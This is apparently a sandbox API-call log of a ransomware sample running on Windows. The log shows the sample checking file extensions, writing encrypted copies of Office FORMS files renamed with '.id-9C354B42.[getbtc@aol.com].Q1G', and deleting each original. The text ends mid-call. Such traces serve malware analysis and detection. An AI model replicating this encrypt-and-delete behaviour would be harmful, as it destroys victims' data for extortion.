[0263.182] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.182] lstrlenW (lpString=".pdf") returned 4 [0263.182] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.182] lstrlenW (lpString=".xls") returned 4 [0263.182] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.182] lstrlenW (lpString=".xlsx") returned 5 [0263.182] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.182] lstrlenW (lpString=".ppt") returned 4 [0263.182] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.182] lstrlenW (lpString=".zip") returned 4 [0263.182] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.183] lstrlenW (lpString=".rar") returned 4 [0263.183] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.183] lstrlenW (lpString=".bz2") returned 4 [0263.183] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.183] lstrlenW (lpString=".7z") returned 3 [0263.183] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.183] lstrlenW (lpString=".dbf") returned 4 [0263.183] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.183] lstrlenW (lpString=".1cd") returned 4 [0263.183] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.183] lstrlenW (lpString=".jpg") returned 4 [0263.183] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.183] lstrlenW (lpString=".doc") returned 4 [0263.183] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.183] lstrlenW (lpString=".docx") returned 5 [0263.183] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.183] lstrlenW (lpString=".pdf") returned 4 [0263.183] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.183] lstrlenW (lpString=".xls") returned 4 [0263.183] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.183] lstrlenW (lpString=".xlsx") returned 5 [0263.183] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.183] lstrlenW (lpString=".ppt") returned 4 [0263.183] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.183] lstrlenW (lpString=".zip") returned 4 [0263.183] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.183] lstrlenW (lpString=".rar") returned 4 [0263.183] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.184] lstrlenW (lpString=".bz2") returned 4 [0263.184] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.184] lstrlenW (lpString=".7z") returned 3 [0263.184] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.184] lstrlenW (lpString=".dbf") returned 4 [0263.184] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.184] lstrlenW (lpString=".1cd") returned 4 [0263.184] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0263.184] lstrlenW (lpString=".jpg") returned 4 [0263.184] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.184] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.184] lstrlenW (lpString="SCDREQS.ICO") returned 11 [0263.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.185] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0263.185] CloseHandle (hObject=0x3a0) returned 1 [0263.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico")) returned 0x20 [0263.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.185] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.185] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0263.186] GetLastError () returned 0x0 [0263.186] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.250] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.251] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.251] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.251] SetEndOfFile (hFile=0x37c) returned 1 [0263.251] CloseHandle (hObject=0x37c) returned 1 [0263.251] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.251] SetEndOfFile (hFile=0x3a0) returned 1 [0263.254] CloseHandle (hObject=0x3a0) returned 1 [0263.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico")) returned 1 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString=".doc") returned 4 [0263.265] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.265] lstrlenW (lpString=".docx") returned 5 [0263.265] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.265] lstrlenW (lpString=".pdf") returned 4 [0263.265] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.265] lstrlenW (lpString=".xls") returned 4 [0263.265] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.265] lstrlenW (lpString=".xlsx") returned 5 [0263.265] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.265] lstrlenW (lpString=".ppt") returned 4 [0263.265] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString=".zip") returned 4 [0263.265] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.265] lstrlenW (lpString=".rar") returned 4 [0263.265] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.265] lstrlenW (lpString=".bz2") returned 4 [0263.265] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.265] lstrlenW (lpString=".7z") returned 3 [0263.265] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString=".dbf") returned 4 [0263.265] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString=".1cd") returned 4 [0263.265] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString=".jpg") returned 4 [0263.265] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.265] lstrlenW (lpString=".doc") returned 4 [0263.265] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.266] lstrlenW (lpString=".docx") returned 5 [0263.266] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.266] lstrlenW (lpString=".pdf") returned 4 [0263.266] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.266] lstrlenW (lpString=".xls") returned 4 [0263.266] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.266] lstrlenW (lpString=".xlsx") returned 5 [0263.266] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.266] lstrlenW (lpString=".ppt") returned 4 [0263.266] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.266] lstrlenW (lpString=".zip") returned 4 [0263.266] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.266] lstrlenW (lpString=".rar") returned 4 [0263.266] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.266] lstrlenW (lpString=".bz2") returned 4 [0263.266] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.266] lstrlenW (lpString=".7z") returned 3 [0263.266] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.266] lstrlenW (lpString=".dbf") returned 4 [0263.266] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.266] lstrlenW (lpString=".1cd") returned 4 [0263.266] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0263.266] lstrlenW (lpString=".jpg") returned 4 [0263.266] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.266] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.266] lstrlenW (lpString="SCDRESPS.ICO") returned 12 [0263.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.267] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2998) returned 1 [0263.267] CloseHandle (hObject=0x1c0) returned 1 [0263.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico")) returned 0x20 [0263.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0263.267] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.268] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0263.268] GetLastError () returned 0x0 [0263.268] ReadFile (in: hFile=0x1c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0263.306] WriteFile (in: hFile=0x3dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0263.306] ReadFile (in: hFile=0x1c0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.306] WriteFile (in: hFile=0x3dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.307] SetEndOfFile (hFile=0x3dc) returned 1 [0263.307] CloseHandle (hObject=0x3dc) returned 1 [0263.307] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.307] SetEndOfFile (hFile=0x1c0) returned 1 [0263.309] CloseHandle (hObject=0x1c0) returned 1 [0263.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico")) returned 1 [0263.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.327] lstrlenW (lpString=".doc") returned 4 [0263.327] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.327] lstrlenW (lpString=".docx") returned 5 [0263.327] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.327] lstrlenW (lpString=".pdf") returned 4 [0263.327] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.327] lstrlenW (lpString=".xls") returned 4 [0263.327] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.327] lstrlenW (lpString=".xlsx") returned 5 [0263.327] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.327] lstrlenW (lpString=".ppt") returned 4 [0263.327] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.327] lstrlenW (lpString=".zip") returned 4 [0263.327] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.327] lstrlenW (lpString=".rar") returned 4 [0263.327] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.327] lstrlenW (lpString=".bz2") returned 4 [0263.328] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.328] lstrlenW (lpString=".7z") returned 3 [0263.328] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.328] lstrlenW (lpString=".dbf") returned 4 [0263.328] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.328] lstrlenW (lpString=".1cd") returned 4 [0263.328] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.328] lstrlenW (lpString=".jpg") returned 4 [0263.328] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.328] lstrlenW (lpString=".doc") returned 4 [0263.328] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.328] lstrlenW (lpString=".docx") returned 5 [0263.328] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.328] lstrlenW (lpString=".pdf") returned 4 [0263.328] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.328] lstrlenW (lpString=".xls") returned 4 [0263.328] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.328] lstrlenW (lpString=".xlsx") returned 5 [0263.328] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.328] lstrlenW (lpString=".ppt") returned 4 [0263.328] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.328] lstrlenW (lpString=".zip") returned 4 [0263.328] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.328] lstrlenW (lpString=".rar") returned 4 [0263.328] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.328] lstrlenW (lpString=".bz2") returned 4 [0263.328] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.328] lstrlenW (lpString=".7z") returned 3 [0263.328] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.329] lstrlenW (lpString=".dbf") returned 4 [0263.329] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.329] lstrlenW (lpString=".1cd") returned 4 [0263.329] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0263.329] lstrlenW (lpString=".jpg") returned 4 [0263.329] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.329] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.329] lstrlenW (lpString="SCHDCNCL.CFG") returned 12 [0263.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.329] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=821) returned 1 [0263.329] CloseHandle (hObject=0x3a8) returned 1 [0263.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg")) returned 0x20 [0263.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.330] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.330] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.331] GetLastError () returned 0x0 [0263.331] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x335, lpOverlapped=0x0) returned 1 [0263.361] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x340, lpOverlapped=0x0) returned 1 [0263.362] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.362] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.362] SetEndOfFile (hFile=0x3d8) returned 1 [0263.363] CloseHandle (hObject=0x3d8) returned 1 [0263.363] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.363] SetEndOfFile (hFile=0x3a8) returned 1 [0263.365] CloseHandle (hObject=0x3a8) returned 1 [0263.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdcncl.cfg")) returned 1 [0263.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned 66 [0263.368] lstrlenW (lpString=".doc") returned 4 [0263.368] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString=".docx") returned 5 [0263.368] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0263.368] lstrlenW (lpString=".pdf") returned 4 [0263.368] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString=".xls") returned 4 [0263.368] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString=".xlsx") returned 5 [0263.368] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0263.368] lstrlenW (lpString=".ppt") returned 4 [0263.368] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.368] lstrlenW (lpString="C:\\Program 